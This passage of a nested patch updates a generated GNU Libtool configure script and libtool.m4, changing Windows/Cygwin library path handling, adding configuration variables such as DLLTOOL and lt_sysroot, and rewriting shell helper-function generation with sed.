++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11641,7 +12290,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11644 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11685,10 +12334,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11747,7 +12396,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11750 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11791,10 +12440,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -14479,13 +15128,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -14500,14 +15156,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -14540,12 +15199,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -14600,8 +15259,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -14611,12 +15275,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -14632,7 +15298,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -14668,6 +15333,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -15424,7 +16090,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -15527,19 +16194,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -15569,6 +16259,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -15578,6 +16274,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -15692,12 +16391,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -15784,9 +16483,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -15802,6 +16498,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -15834,210 +16533,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/libtool.m4 b/libtool.m4
+index a216bb14e99..e37c45ac0b1 100644
+--- a/libtool.m4
++++ b/libtool.m4
+@@ -1,7 +1,8 @@
+ # libtool.m4 - Configure libtool for the host system. -*-Autoconf-*-
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is free software; the Free Software Foundation gives
+@@ -10,7 +11,8 @@
+
+ m4_define([_LT_COPYING], [dnl
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -37,7 +39,7 @@ m4_define([_LT_COPYING], [dnl
+ # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+ ])
+
+-# serial 56 LT_INIT
++# serial 57 LT_INIT
+
+
+ # LT_PREREQ(VERSION)
+@@ -166,10 +168,13 @@ _LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl
+ dnl
+ m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+ m4_require([_LT_CHECK_SHELL_FEATURES])dnl
++m4_require([_LT_PATH_CONVERSION_FUNCTIONS])dnl
+ m4_require([_LT_CMD_RELOAD])dnl
+ m4_require([_LT_CHECK_MAGIC_METHOD])dnl
++m4_require([_LT_CHECK_SHAREDLIB_FROM_LINKLIB])dnl
+ m4_require([_LT_CMD_OLD_ARCHIVE])dnl
+ m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl
++m4_require([_LT_WITH_SYSROOT])dnl
+
+ _LT_CONFIG_LIBTOOL_INIT([
+ # See if we are running on zsh, and set the options which allow our
+@@ -632,7 +637,7 @@ m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl
